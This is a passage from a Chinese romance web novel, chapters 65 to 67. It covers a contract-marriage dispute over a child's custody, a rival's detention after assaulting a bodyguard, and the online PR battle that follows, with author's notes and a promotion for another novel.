看了下当前时间正是国内流量高峰期,霍懿安有预感,不论他是否能找到相同情况的案例,他很快就能给自己的异常寻求到一份合理解释了。 然而他还未退出划款界面,郁明殊的消息就弹了出来:【婚前协议里写明我们任何时间都可以解除婚姻关系,我已经查过了,用亲子鉴定就可以拿到嘟嘟的监护权,没必要继续走领养程序……】 往常一目十行轻松完成量子速读的霍懿安,此刻却是一字一顿地看到了第三行,就因莫名袭来的窒息暂停了下来。 某个热门社媒app的后台还在不断弹出最新消息—— 【催眠你爸了个根!】 【哪来的有钱神经病?】 【买热搜黑郁明殊,家里的父母不要了吗?!】 第65章 霍懿安人生第一次选择逃避。 他不仅退出聊天界面,还将郁明殊的消息重新标为未读,刚好四世同堂人数众多的霍家人还在持续发力,郁明殊发来的消息很快就被霍家保密大军给压到了下面。 可即便看不到,绝佳的记忆力仍旧可以让触目惊心的每一个字都刻在脑海中,时刻滚动播放。 霍懿安心头发梗,呼吸不畅,他近乎刻板地翻看着评论区里的内容。 近90%的人在骂他,还有10%的人在阴谋论,认为他是视若郁明殊为竞品的一众男星坐不住又找不到黑点使出的歪招。 总归是没有一个人跟他一样,每次看郁明殊广告都会被其催眠,反倒有大批人反应,不止没被催眠,反倒被郁明殊颜值震撼得更清醒了。 霍懿安对着屏幕,兀自陷入静默状态,直到张秘书发现老板的抽风行径。 张秘书是完全不能理解霍懿安给自己买热搜,黑郁明殊广告催眠的行为,毕竟不久前这该死的家伙还在因郁明殊被“觊觎”而生气打算提告一众网友。 他很难不怀疑是郁明殊得知爸崽真相后,理所应当判了老板一个隐瞒罪,他这狗老板才会抽这种失心疯。 不过张帅跟在霍懿安身边也有段时间了,已经能做到见怪不怪并因地制宜。 就像霍懿安这次突然搞事,张帅得知后就立马放出消息:【据传某商业片大导有意与郁明殊合作……】 郁明殊虽然惨得人尽皆知,这些年的遭遇让普罗大众深感同情,大部分拥有同理心的人都乐意见到他一点点变好,比如脱离皇世娱乐回归璀璨星途。 尤其在他时隔多年重拍萌礼广告后,网友们都在感叹郁明殊这种绝无仅有的神颜长相,就该进娱乐圈给大家洗洗眼睛,这样的好苗子绝对不能被埋没。 但一点点变好可以,一步登天就不太行了。 郁明殊的“家喻户晓”是惨出来的,而非靠实力累积,哪怕他的长相就是娱乐圈最硬的通行证,但直接和王广鑫这种商业片大导合作还是跨度太大。 不仅直接跳跃到大荧幕,甚至合作的还是一向叫好又叫座的超一流班底,哪怕是本就喜欢他的粉丝和路人粉也会担心他发挥不好,成为王导备受期待的新作里的一颗老鼠屎。 现在的大环境又对资源咖格外敏感,更别说那些已经在圈内站稳脚跟的年轻男明星们,必然会因此将郁明殊当眼中钉肉中刺,这些都是无法避免的。 而不同于张秘书主动曝光的消息中商业大导仅是有意,实际上,双方团队已经将该敲定的都落实个七七八八,再加上霍懿安不设限的全资投入,根本没有谈崩的可能性。 随着时间推移,参与者越来越多,消息必然会不胫而走,就不如由他们把握舆论环境适当透出一些。 霍懿安这次抽风就是一次不错的机会。 果不其然,消息一放出来,吃瓜群众的注意力先被郁明殊没等起飞就被人盯上,没黑料也要制造黑料想方设法抹黑云云这类思路带跑。 一方面是合作消息还在传言阶段,能有几分真未可知;另一方面在舆论场上,公众情感往往倾向于同情弱势的一方;甚至在粉丝文化中,越是经历“被虐”的体验,越容易催生坚|挺的“真爱粉”。 只不过这次纯属是霍懿安搞出的意外,郁明殊并不需要走虐粉固粉那一套,日后也不需要粉丝替他撕资源。 毕竟有霍懿安这种完全不设限的撒币老板在,郁明殊根本无需撕资源,霍懿安可以从零基础开始创造资源。 张秘书一边为霍懿安解释自己如此应对的目的和意义,一边还要耐心劝谏让霍懿安不要再上网问这种奇怪问题,尤其是不要再给自己买“热搜”了! 否则就霍懿安上网发问的内容,不买热搜即便有新号的自然推流,也没人会搭理这种奇葩问题的。 张秘书怕自己一个劝不好霍懿安又会继续发癫,所以全程警惕拉满,全神贯注观察着霍懿安的表情,努力将话说的委婉又清晰,反复强调一切要以郁明殊为重。 结果话说到一半,完全没有黑脸的霍懿安突然发问:“你看广告了吗?” 张秘书差点以为自己遇上小学老师的课堂抽考,立即认真答道:“样片发来时我一帧一帧审过了,您是觉得哪里有问题吗?” 霍懿安一本正经冷声问道:“你没看困?” 张秘书:“………确实没有。” 霍懿安薄唇紧抿长眸微眯,霸总气势挠儿一下就冒了出来。 看得张秘书喉咙发紧,顿时将全身上下六百多块肌肉全都绷紧。 然后就听霍懿安略带一丝微不可察的茫然问道:“为什么我一看就困?难道是他在广告发声中存在某段特定波长,而我恰好是全世界对此敏感的极少数个体?” 张秘书:“…………” 合着不是随机抽风,而是是真的很纠结这事?那就更有病了! 张秘书熟练祸水东引:“既然很快就要带西奥多小少爷去见劳伦斯教授,也许您可以将这个问题一并交给他。” 霍懿安没拒绝也没同意,张秘书甚至不确定他有没有听到自己说话,因着这人眼神飘忽片刻就再次发问:“……你在他身上闻到过香味吗?” 郁明殊从不用香水。 从前太穷顾不上这种氛围感消费,现在有这个条件,但他整日都要和呼吸道、神经系统尚未发育完全的崽子黏在一块,也不适合喷香水。 甚至他连洗衣液和柔顺剂用的都是无香型的,张秘书自然不可能闻到任何香味。 霍懿安再次得到否定回答后,再次陷入沉默。 张秘书原本一点都不想掺和进去,主要是他这老板脑回路实非常人,现在帮他认清自身,这人说不准转头就会翻脸说被自己误导了。 但见霍懿安静默片刻后突然皱眉低语了一句:“果然还是我嗅觉太灵敏……” 张秘书差点没听吐血:孩子都满地乱跑了,还看不清自己有多喜欢郁明殊吗??? 张秘书忍了又忍还是没忍住看了眼腕表:“这个时间劳伦斯教授应该已经醒了,您可以让他为您提供一份系统全面的专业建议。” 霍懿安极为信任这位他从小看到大的心理医生,甚至远超近些年固定看诊的那位。 不然他也不会崽子一出问题便起了将劳伦斯运到国内的想法,只不过薛景灿的出现让他改换了方向,直接带着爸崽飞B国见劳伦斯。 但越是信任越是清楚劳伦斯有着魔镜般勘破一切的能力,正因如此,霍懿安才本能般产生抗拒,他无法直面更不允许被窥探那颗他自己都未曾看清的内心。 所以,即便他现在仍旧沿用着劳伦斯教授曾经提供的诸多建议,比如定期和父母分享生活,但他还是在刚成年的时候迅速将固定看诊的心理医生换成了其他人。 而现在,他仍旧抗拒将一切都告诉劳伦斯…… 霍懿安正准备拒绝秘书的提议,身后突然响起郁明殊的声音:“……霍先生,我能跟您谈一谈吗?” 听起来分外生疏的“霍先生”三字刚一响起,霍懿安就啪的将劳伦斯的电话拨通,紧接着给了张秘书一个极为忙碌绝对不能被打扰的眼神。 张秘书:“…………” * 西奥多刚输完凝血因子,这种情况其实不适合马上坐飞机。 好在崽的伤口不算大,输的凝血因子也不多,医生只是建议他们长途飞行期间,避免血液淤积要让孩子多活动活动,从一开始就杜绝形成血栓的可能性。 所以郁明殊虽然刚上飞机就带崽进入单独房间,但爸崽一直没睡,而是聊一会儿玩一会儿就会活动一下,直到崽子困睡着了,郁明殊还是保持着半小时一次的规律活动。 小家伙贴在爸爸怀里睡得香喷喷,郁明殊就帮孩子时不时揉揉四肢,做下腿部屈伸、脚踝转动,在适度帮崽翻动一下身体,辅助全身血液更好地运转。 这期间,郁明殊的思绪也没停下来过。 不知为什么,他明明早已对一切欺骗习以为常,更别说霍懿安除了没告诉他鉴定结果,其他方面的桩桩件件都是在不遗余力帮他,而他作为受益者本应更识相懂事一些。 但他只要想到霍懿安明知他最在意的就是西奥多,却一直隐瞒西奥多和他的血缘鉴定结果……郁明殊就想立即切断和霍懿安除工作以外的一切关联,起码要解除这段没有任何必要存在的婚姻关系。 结果发消息石沉大海,亲自找过去也被拒之门外,而霍懿安这一忙就忙到了接近降落的时间,郁明殊才算终于收到了回复。 霍懿安:【开门。】 对于没有直接笃笃敲门吵崽,而是改为线上通知的霍懿安,郁明殊第一反应是欣慰,不过他很快就因自己产生欣慰而感到无语。 这有什么好欣慰的…… 但不论如何做想,郁明殊还是立即快步将门打开,生怕晚了一秒,这位向来没耐心的大少爷会误以为他没看到消息,再次笃笃笃敲起来。 嘟嘟前一晚处于昏迷中,和产生调节修复作用的正常睡眠截然不同,之后又因突然冒出的薛景灿失血,和他抱着喜极而泣良久,体力早就透支了,全靠爸崽相认产生的过度兴奋撑着。 这会儿好不容易睡沉了,郁明殊是一点动静都舍不得弄出,生怕吵到崽子,所以他小心翼翼拉开房门,就打算带着霍懿安走远些。 结果霍懿安动作更快,郁明殊拉开门腿还没往外迈,霍懿安的长腿就已经先一步挤了进来。 飞机上的房间不似酒店顶层套房那般宽敞,让霍懿安本就高大的身材显得更加厚实挺拔,压迫感十足。 尤其是面无表情往房里挤的时候,郁明殊避无可避,只能松开门把手顺着男人紧迫的步伐一路后退,直到人被抵上床角,膝窝一软直接跌坐在床沿上。 幸亏这间房的地面和飞机上绝大多数空间一样,处处覆盖着艺术品级的手工地毯,不仅脚感极佳还相当静音,否则酣睡中的嘟嘟大概率要被两人凌乱交错的脚步吵醒了。 虽然没闹出什么声响,但两人间的兵荒马乱还在持续。 惯性作用下,郁明殊跌坐后整个人还在继续后倾,而霍懿安则顺理成章乘胜追击,将膝盖抵在了郁明殊留出的空档中,整个人小山一般倾覆而上。 深邃蓝眸紧凝在郁明殊微微泛粉的面庞上,可以完整遮掉郁明殊脸蛋的大掌就按在他颈侧的床褥。 从无法联络到呼吸纠缠,仿佛只用了一个瞬间,郁明殊莫名其妙就成了坠入滚烫蛛网的猎物,他再一次被动地陷入混乱、赧然、不知所措。 但郁明殊不仅是一个容易为情所困的人,他还是一个过早承受多重情感背叛而早早放弃期待的人。不论是亲情、友情,还是他连想都不敢想的爱情。 人非草木,而他又天性敏感,有着极高的共情力,但失望攒够了,他再是不舍也不会允许自己回头,对于养父母是如此,对于其他感情他更是早就决定要斩断一切羁绊。 只要他不贪心索取,早早放弃一切幻想,就没人能以此来伤害他。 可人活着如果没有爱,心就会一点点空掉,郁明殊一直在努力自爱,但内心深处好像总有一个声音会时不时冒出来,提醒他是不值得被爱的。 郁明殊要在扛起生活重压之余,努力挤时间自我疗愈并让自己爱上自己,这的确很难,好在他的嘟嘟及时出现……甚至他一度觉得西奥多和霍懿安就是神带着礼物降临在他贫瘠破败的人生中。 事实证明他想错了,不论到什么时候他都没那么好运,有的只是福祸相依,但对郁明殊来说,只要有嘟嘟就一切足矣。 郁明殊当然能够理解霍懿安选择隐藏他们的血缘关系,或者说以霍懿安对他的帮助,仅是没告诉他爸崽间的鉴定结果又算什么? 但这对郁明殊来说,其实和卖子求荣的养父母,以及那几个为了不得罪薛景灿对警察做假口供的旧友,都是一样的欺骗。 郁明殊被命运抢走了太多,面对感情他既渴望又小气,他现在就只想要嘟嘟,其他一概不想。 所以即便依旧忍不住脸红心跳,他还是很快撑起身体,另一只手推向霍懿安。 郁明殊虽然顾虑着酣睡中的崽,但他也清楚两人之间存在的体型差意味着什么,不用上些力气是很难将男人推开的,但他没想到的是他咬紧牙关用尽全力,霍懿安竟然还能纹丝不动。 郁明殊都顾不上伤心了,低头看看自己因太过用力而泛红的掌心,只觉得自己推的不是个人,而是哪个大户人家门口重达千斤的石狮子。 郁明殊:??? 大概是郁明殊表情实在太过鲜活,就连霍懿安都轻松读懂了他的情绪。 男人一边不露痕迹微调了调顶在墙角的脚跟,一边将平直的唇角扬起了一抹不算明显的弧度。 没忘两人不远处还睡着一只崽,他用低沉的气音淡淡说道:“我就说你该多吃些饭。” 郁明殊:“…………” 男人的语气依旧还是偏冷的,但郁明殊从小就能读懂空气,对旁人情绪感知力又极为敏锐,他还是能清晰感受到霍懿安冷淡语气中透出的那一抹亲昵、玩味。 郁明殊偏开脸,深吸一口气:“让开。” 霍懿安本能般想要拒绝,但这个姿势离得太近,闻的、看的都太过清晰,对他的“某种本能”同样危险。 甚至因心跳速度进一步提升,心脏泵血速度加快,霍懿安本能反应的速度也变得比以往更快,根本不需要郁明殊开口驱逐,他本也撑不久的。 霍懿安不仅快速起身,还就近坐进了一旁的沙发中,看似长腿随意交叠,矜贵优雅又从容。 实则每一个角度都是经过脑内精密计算——既不会压疼自己,也不会让郁明殊看到反胃。 郁明殊如果不是产生触碰,他是不会往那种地方看的,所以他很快就重新沉下情绪,垂眸平静复述:“婚前协议里写明……” 霍懿安一听这个开头就喘不上气,刚好他本来也不是个讲究礼貌素质规行矩步的人,直接开口打断:“我看到了。” 郁明殊仍旧垂着眸子,抿唇点了点头:“那……” 不等他确认离婚时间,话刚出口就被霍懿安再次打断:“劳伦斯说我可能喜欢你。” 郁明殊没忍住抬起头:“……嗯?” 作者有话要说: 今天更太少[爆哭]只有2k字[爆哭]就放这章后面免费送大家了,加量不加价[求你了]我得想办法让自己支楞支楞了[爆哭][爆哭][爆哭] ◆推推沙雕甜爽完结文《社恐替嫁豪门后[穿书]》[让我康康][让我康康][让我康康] 郁沅有社交恐惧症。 一说话就脸红,紧张时会结巴发抖,面对面也只想短信交流,梦想是与世隔绝。 却被刚认回的父母卖进顶级豪门,代替假少爷给顾家继承人冲喜。 当晚,郁沅梦到自己活在狗血文中,假少爷是主角而他是替嫁的垫脚石炮灰。 结婚没几天人就被他冲死了,顾家老爷子恨意滔天,从此不许他踏出顾家一步,罚他尝尽孤苦老死别墅。 郁沅:不出门、孤独终老、还是大别墅……这是惩罚? 这分明是他梦寐以求的对口就业!!! * 新婚夜,躺在床上的苍白男人眸光阴冷。 没人知道顾劭承是死而复生,这一次他主动提出离婚。 前世为离开他不择手段的青年,此刻却红着眼眶颤抖着身体连连摇头。 男人面无表情:“我这身体给不了你什么……” 郁沅誓死捍卫梦想,奈何急得快哭了也只憋出“不、不离婚!”落荒而逃。 男人冷漠蹙眉,看他能装到几时? 但他很快发现不对…… 郁沅看到一屋子帮佣险些原地去世,鼓起勇气申请将人辞退:“我、我想自己照、照顾您。” 正打算清掉别墅眼线的顾劭承:“……可以。” 独自照顾病人远比面对一屋子人好得多,但郁沅太喜欢独处了,每次关上门后都会兴奋到狂舞。 恰好打开监控的顾劭承:“?” 后来秘书汇报:“老顾总打不通您和夫人的电话,闹上门发现之前被夫人剪断的门铃,误以为是故意的急火攻心疯狂砸门,被小区安保拖走……” 顾劭承沉默片刻,忽地轻笑:“他好可爱。” 秘书:??? * 郁沅勤勤恳恳送终,顾劭承却一天比一天精神焕发。 看着不仅对方铲除异己重新叱咤商界,还对他…… 郁沅哽咽:这剧情和说好的,不一样啊! 秘书发信息:“夫人,顾总已经在外面守三天了。” 郁沅:“……他肯认错了吗?” 秘书:“没有,顾总说您再不回他消息,他就要打爆您的电话。” 郁沅QAQ:达咩!!! ◤阅读提示◢ 1.攻受365度无死角身心双初恋,架空甜苏爽,1v1,HE 第66章 话一出口,才意识到自己没控制住音量,郁明殊立即掩唇看向睡在不远处的崽。 霍懿安见状,眼底快速滑过一抹得色,他就知道这话就得留在崽子身边谈。 尤其是看到郁明殊刚褪色的耳根面颊又逐渐染上浅绯,霍懿安看在眼里不仅觉得赏心悦目,还很想用指腹感受一二…… 郁明殊实在没想到男人会突然说这种话,心跳不由自主加快,人几乎再次跌回不知所措的慌乱中,直到酣睡中的崽主动将小胖脸贴入掌心,一边贴蹭一边露出幸福笑容。 郁明殊心弦骤然收紧,再开口时已经恢复平静:“我不明白你在说什么。” 霍懿安感觉不对,但却说不出哪里不对,只是觉得这和他预想中的截然不同,男人眉头微皱熟练挑刺:“谈话时你应该看着我。” 郁明殊气息微顿,很快重新坐直身体看向男人,语气不变地复述了一遍刚才的话。 霍懿安静默片刻:“劳伦斯是我合作多年的心理专家,他根据我近期的十二项异常表现……” 没等霍懿安详解“劳伦斯说我可能喜欢你”这句话的意思,郁明殊先打断道:“我不是这个意思,我是指我不明白你为什么要说一些和本次讨论无关的话题?” 因为霍懿安可能喜欢他,他就要无条件让步、承受一切,那未免也太可怜了。 也许霍懿安隐瞒他们爸崽间的血缘,选择通过协议婚姻领养崽子是有他更深层次的考量,但这不在郁明殊的考虑范围,他现在就想解除没意义的协议婚姻,认回属于他的宝宝。 “我要按协议解除婚姻关系,并通过血缘鉴定结果认回西奥多。”郁明殊坚定说完,见霍懿安脸色明显改变又补充提醒,“按协议我可以选择任何时刻解除这段婚姻关系。” 男人的脸色顿时更难看了。 霍懿安当然知道,毕竟这一条细则一开始就是律师为他设置的,避免他被婚姻对象纠缠威胁…… 当时霍懿安就莫名觉得多余,但律师翻出了三百多个前车之鉴告诉他这条细则存在的必要性,他无法提供更合理的否定判据,而现在他只想回到那时候给巧舌如簧的律师一记铁拳。 好在来之前他就做好了万全准备,只不过……“我可以履行协议,但你有没有想过,我也是西奥多生物学上的父亲,同样有权凭借鉴定结果将他认回。” 霍懿安毫不意外从郁明殊眼中看到了失望,顿时心如重锤,他虽未完全相信劳伦斯的说法,但此刻也的确能够确认,自己的心脏并非简单的心律不齐可以解释。 “你为什么要这么做?”郁明殊更想问的是为什么之前不这么做? 只是为了彻底隐瞒他们之间的血缘真相,所以哪怕多绕几道圈子,也要以领养关系收养西奥多?甚至同意解除婚姻关系后他们依旧可以共同抚养西奥多…… 霍懿安:“他也是我的孩子。” 郁明殊很清楚,即便同为崽子血缘上的亲生父亲,他和霍懿安毫无竞争之力,更准确来说只要霍懿安想跟他抢,甚至可以让他永远见不到崽子。 霍懿安拿捏得太过精准,有些话不必说出口就足以击溃郁明殊得心理防线,以至于他不仅瞬间眼眶泛红,还直接问出了未尽之言:“你之前为什么不这么做?” “你不是不想认嘟嘟,是怕我凭借和嘟嘟之间的血缘关系要挟你图谋更多?” 霍懿安无法否认也不会否认,当初让律师拟定了厚厚一摞协议,目的就是限制郁明殊,让郁明殊稳定可控地待在他设置好的“西奥多养父”身份范畴内。 并且刨除他对郁明殊可能存在的感情因素,哪怕时至今日,霍懿安仍旧觉得这个做法是无比正确的,除了对郁明殊的质疑和欺骗。 所以他只能默认。 郁明殊仰头深呼吸,一边告诉自己要理智,以霍懿安的身家背景对他有所防范才是正常的,他现在太过于纠结那些细枝末节甚至还莫名难过,才是不正常的表现。 眼泪被他咽了回去,郁明殊垂着眸子努力平静道:“那就继续按协议内容执行,现在用血缘认回不用再等两年,我们直接快进到离婚后共同抚养西奥多……” 未等说完,霍懿安就直接打断:“不行。” 郁明殊唰的抬眼,眉头紧蹙:“为什么?这段婚姻关系明明没有必要存在。” 霍懿安脑中第一时间浮现的最直接的想法就是不行,天底下到处都是觊觎郁明殊的垃圾! 他现在虽然还不能确定自己是否随机猜中了一个哈希值,拥有了见鬼般的真爱,但他很确定婚姻关系一旦解除就很难再将人套住了,他到时候能用的就只有抢孩子威胁对方,他就算再不通人事也知道这是死路一条。 霍懿安不露痕迹深吸一口气:“……这都是为了嘟嘟的安全考虑。” 郁明殊顿时将眉头拧成死结:“什么?” “我父亲之所以能成为珀西家族的现任家主,也是当年多方博弈的结果……” 不说三大核心分支如何对外竞争对内制衡,仅是他父亲这一辈,也就是他的每个叔叔姑姑背后都对应不同的母族。他父亲能上位靠的不仅是个人能力,一方面是母族底蕴深厚,另一方面也是妻子及岳家强势。 以及一个其他几位异母兄弟姐妹所不具备的优势——有且只有一个天生神经异常的儿子。 虽然霍云轻夫妻俩早早就放出风声,会帮儿子找个合适的养子培养,霍懿安即便难以结婚生子也会有合适继承人,但珀西家族一向注重血脉传承,这么多代家主里就没有一个是养子。 在明确霍懿安不会有亲生子参与竞争的情况下,自然意味着家主之位最后还是会重新选人。 哪怕霍懿安从前就没想过要争什么家主之位,一直以来都只想做自己感兴趣的领域,但只要西奥多以亲生子身份被认回,就势必会被卷入纷争中。 父族里的烂事太多,一直令他不厌其烦,这也是他宁愿定期和父母开家庭分享会,也不愿沾手家族企业的原因之一,不过此刻霍懿安见郁明殊明显被他说动,人生第一次对珀西家族生出一分好感—— 多亏了那些人多年来坚持勾心斗角尔虞我诈,才让他顺势稳住婚姻关系,将爸崽都留在身边! 霍懿安突然无师自通般继续说道:“骗你的确是我不对,但领养嘟嘟的决定并不是出于要防范你,如果只是想防范的话,我完全可以什么都不做。” 郁明殊垂下眸子没再说话,霍懿安就继续静坐盯人,等郁明殊再次替崽运动活血后,霍懿安依旧没有任何要走的意思,郁明殊不得不开口说道:“我想躺一会儿。” 霍懿安颔首:“你躺。”仍旧没有丝毫要走的意思。 郁明殊不得不说得更明确一些:“你不打算回去休息一下?” 霍懿安答的干脆利落:“不打算。” 郁明殊:“…………” 郁明殊很想让霍懿安回到自己的房间,但他很清楚整个飞机都属于霍懿安,一无所有的他就没资格说这种话。 实际上他这会儿有点困过劲了,心里还惦记着每半小时帮崽运动一次,即便躺下也睡不着,他只是希望霍懿安能够离开,将完整的空间还给他,也将清晰完整的思绪还给他。 但这人不肯走,郁明殊也受不了被他一直盯着,只好主动抛出话题:“嘟嘟是来自……” 霍懿安熟练抢答:“平行世界。” 郁明殊很想问为什么不是来自未来,又觉得这个角度太过自恋,就好像认定未来霍懿安会和自己结婚生下嘟嘟一样。 但还涉及嘟嘟对“薛景灿”名字的过度反应,他还是换了个角度问道:“你怎么确定就是平行世界?” “你我都是非两性畸形的正常男性,男男生子壁垒短时间内又难以突破,除了平行世界还有其他可能?”霍懿安说完扫了眼郁明殊的胸腹位置,好像在无声询问:其实你能生? 郁明殊:“……不能。” 虽然郁明殊否认得极快,但霍懿安脑内思绪却难以刹停。 明知不可能,但一旦想到“崽子是郁明殊在未来亲自给他生的”这一不可能的幻想,霍懿安绷直的唇线就忍不住微微弯起。 这个思路不仅分分钟给他想美了,甚至好不容易消下去的龌龊本能都紧随其后再度起复。 不用旁人评价,他自己都觉得自己是个变态。 霍懿安压着音量轻咳了咳,还是舍不得移开眼,他只能在脑中高频思考薛景灿相关事宜。 效果斐然,霍懿安的身下燥火很快转为心头怒火:“……不过你可以放心,不论嘟嘟来自哪里,我都不会放过薛景灿。” 实际上从郁明殊告知当年霸凌真相开始,霍懿安就一直在查薛景灿,然而至今却没查到任何有用信息。 如此走向只有两种可能,一是薛景灿出国后痛改前非真成了好人,二则是情况比他所预想的更加糟糕。 从薛景灿一回国就迫不及待找上门,以及崽子的极端反应来看,他有必要找父亲深谈一番。 一家三口这边顺利抵达B国庄园,另一边身处A市的薛景灿却被送进了拘留所。 事发时保镖反应迅速,不仅接下了薛景灿的挥拳,还顺势往墙上狠撞了一下,而这一切都被医院监控清晰记录下来。 现在被打的保镖一口咬定自己头痛头昏听不见声音,并且既不肯接受赔偿也不愿意和解,哪怕只能鉴定为轻微伤的程度,薛景灿也至少要被拘留五天。 不止如此,薛景灿上门挑衅被崽打,出手打伤保镖喜提拘留的消息也很快被传到了网上。 作者有话要说: 未来的霍总:我真的羡慕我自己~[墨镜] 第67章 薛景灿本就是踩在薛德茂的尸体上风光回归,再加上从表面看起来,他的个人条件绝对算得上天之骄子级别。 不论是出于对薛德茂的厌恶还是普遍存在的慕强心理,薛景灿都是当下最众望所归、风头无两的豪门继承人。 不仅全网风评极佳,甚至还因在外留学多年都零绯闻,且性向存疑,短短几日就收获了大批梦男梦女。 是以最开始传出薛景灿被拘留的消息,网上根本没人信。 直到薛景灿戴着手铐被警察拎进警局的照片被路人放上网,网友们才在一片震惊声中不得不信。 即便如此,大家都认定一切事出有因,不少人都怀疑是薛景灿动了薛氏那群以薛德茂马首是瞻的老股东的利益,被做局了才会狼狈被捕。 而且被抓未必就是什么大奸大恶之徒,没准只是治安拘留。 尤其是仔细放大路人随手拍下的高清照,还能看出薛景灿右侧颧骨明显红肿发青,被捕原因大概率是因为和人动手了,说不准只是正当防卫过度呢? 就因薛景灿个人条件出色,这些年又一直跟随学者父亲留在海外,完全站在薛德茂的对立面,给大众制造了相当厚实的正面滤镜,黑的也能在无限美化中逐渐变白。 然而天底下没有不透风的墙,在薛景灿被捕的消息登上热搜不久,就有知情人匿名透露:【薛是因出手打伤郁的保镖被抓的。】 【啊???薛景灿打郁明殊保镖?他俩当年不是好朋友吗???】 【薛景灿看着完全不像是会出手打人的……会不会有什么误会啊?】 【什么叫打伤郁的保镖,所以是薛要对郁出手,结果被保镖给拦了就转而打保镖??】 【不信谣不传谣!!!我哥小学同学的大学室友和薛景灿参加过同一个环保活动,说薛人超好的!】 郁明殊自从摆脱养父母和皇世娱乐纠缠后,不仅热度一升再升不输一线流量,个人形象也一直不错,还因曲折的成长经历赚了不少同情票。 幸亏如此,在薛景灿打伤保镖的消息传出后,倒是没什么人质疑郁明殊,大家的关注点都放在“消息是否有误”和“两人之间是否有误会”上了。 直到薛家公关部适时出来解释。 在明确新任董事长打伤保镖面临五到十日拘留处分,并确认医院监控不会流出,此事注定会成为一场罗生门后,薛家公关团队尽可能将锅甩给了郁明殊及其保镖。 一口咬定薛景灿只是探望旧友,一切都是郁明殊及其保镖反应过激而导致的肢体冲突。 言辞中多次明里暗里表示,郁明殊当时身边有两个肌肉壮汉保镖,人均一米九,薛景灿又没学过专业格斗技巧,根本打不过两人,之所以能“打伤保镖”完全是被陷害了。 同时在网上散发谣言,强调郁明殊背后的靠山根本不是什么豪门富家崽,所谓豪门富家崽只是障眼法,但郁明殊确另有神秘靠山,不然根本不可能有机会重拍萌礼广告,甚至还被一线大导看中。 薛家公关部本想重提欧洋绯闻男友身份,以及至今未有后续的寝室楼后豪车男疑云,让大家觉得郁明殊私下里男男关系混乱,本就是个靠多位金主上位的三流货色。 没曾想事发当天的早上,欧洋曾误打误撞给崽探病。 虽然被探病的当事崽以及俩爹都对此不知情,但同样有路人随手拍下的第三视角高清照。 虽然欧洋探病撞上崽子叫拔拔爹地心碎当场,回来没忍住上网哭嚎,但等他冷静后就很快将当时的发疯微博给删了,所以欧洋探病的路拍照并没有引起多少吃瓜群众的怀疑。 再加上欧洋这次反应同样迅速,很快就站出来替郁明殊这个偶像背书:【本十五年殊粉可以拍胸脯保证,我们小偶像绝对没有网传的所谓混乱关系,他一直清清白白干干净净!】 虽然薛氏公关部未能成功抹黑,但事情发展到这里也如他们最初所料,成了一个真相扑朔迷离的罗生门事件。 相信郁明殊的自然会认为问题出在薛景灿身上,薛家到底是歹竹难出好笋,走了个薛老登,来了个薛小登。 而站在薛景灿一方的,则认定郁明殊私生活混乱,全靠金主砸钱才有今日,这次又故意设计薛景灿被拘。 当然,极端是少数,绝大部分吃瓜群众谁也不站,就单纯吃口瓜,继续保持中立看戏。 可即便如此,对于郁明殊来说也是平白遭难,张秘书本就不会就这么算了,更别说他身后还站着个怒不可遏的霍懿安。 张秘书故意将手中证据多压了十个小时。 彼时伤情鉴定结果已出,薛景灿也被转移进了拘留所,甚至薛氏已经如愿达成应有的公关效果。 张秘书才让受伤保镖亲自注册账号,将胸前佩戴的微型多功能AI记录仪拍摄的全部高清画面都放上了网。 跟薛景灿的最新款AI眼镜一样,保镖胸前佩戴的微型多功能AI记录仪也有着相近功能,不同的是前者是霍懿安科技公司的最新产品,后者则是尚未投产的内部试用产品。 后者不仅外观上更加隐形,内置的运行系统比AI眼镜更加高效快速。 虽然作为单纯的记录仪器使用多少是有些大材小用,但不论是画面效果还是镜头稳定性都远胜市面一众运动相机。 后续随着事件热度不断发酵,这款尚未上市的产品也未卖先火,不过这都是后话了。 目前所有人的关注点都集中在薛景灿差点对!崽!动!手!这一令人发指的真相上。 当然,不只是薛景灿的下意识反击被拍了下来,崽子腰马合一的震撼一掌也都被清晰记录,但那又如何,小家伙才两岁半啊! 而且薛景灿每一句故意刺激郁明殊的话语,和动手扯崽的帽子口罩的画面,也都被清晰记录了下来。 所有人都觉得崽子被薛景灿乱扯帽子的时候没动手,脾气已经好过头了,那时候就该揍他丫的,等听薛景灿用玩笑口吻说起给狗套袋子发出和露娜一样叫声时,都恨不能将手伸进屏幕一人给他一拳。 是以崽子出人意料甩出小巴掌时,所有人都只看到了一个护爸爱爸的超绝好宝! 【打的好!!!不愧是我的网络鹅崽!!!!】 【爹了个巴子的,嘟嘟手都红了!薛景灿的稀巴烂臭脸是不是硌痛我们宝宝了?!】 【之前还有人蛐蛐郁明殊带保镖的小牌大耍,幸亏有保镖及时护着!不然谁知道薛景灿这疯狗能做出什么事啊!!】 【有没有可能这保镖就是为崽雇的?原来我们宝宝还是小金毛呢!郁明殊一直这么保护崽崽隐私,估计是真有点子厉害背景在!】 【扯嘟嘟小帽子时我都恨不能给他两巴掌,更别说后面提起小狗露露了,这人绝对有大问题!必须严查!!!】 即便薛氏公关部一直在拼命砸钱删评、降热度、买水军清洗话题广场,#小狗露露#和#露娜跳楼#的消息,还是在霍懿安钞能力的保驾护航之下相继被送上了热搜。 * 霍懿安虽然已婚有崽多时,但其亲爹埃德蒙·珀西至今未曾见过儿子的伴侣和新孙子。 郁明殊还好说,看不到本人网上也有照片,但关于霍云轻口中超级漂亮无敌可爱,甚至还有着珀西家族同款金发碧眼的宝贝小孙孙,埃德蒙连个崽影儿都未曾看到。 要不是近期实在太忙,妻子又因免疫问题住进庄园里的医院,他实在分不出半点时间,否则早在霍懿安带爸崽办手续的那天,他就去私人机场堵人了。 趁他无暇顾及,儿子变本加厉,甚至接连两次取消了线上家庭分享会,理由是他已经组建新家庭,需要将更多的时间精力分给小家。 对此,从儿子呱呱坠地就被迫开启地狱式育儿日常的埃德蒙早被磨没了脾气,从一开始就认定,除非他能抽出时间飞过去探望,否则是别想看到新孙子了。 没曾想,霍懿安不仅突然带爸崽回B国,还将人带回庄园!甚至还提前通知了他!! 埃德蒙感动得老泪纵横,立即暂停工作坐上回庄园的车,第一时间红着眼眶拨通了吴姐的手机,跟老婆分享儿子成家后更有人情味的重大进步。 “亲爱的,我们懿安不仅知道带宝宝回来看爸爸,还知道主动给爸爸打电话了!” 霍云轻虽然不满儿子只给丈夫打电话通知,但转念一想肯定是因为丈夫将她的新手机没收,导致儿子没法第一个联系她。 再一想到即将见到新鲜出炉的儿媳妇和宝贝小孙孙,她同样激动不已,所以直接让吴姐将丈夫的电话挂了,立即起身收拾起来。 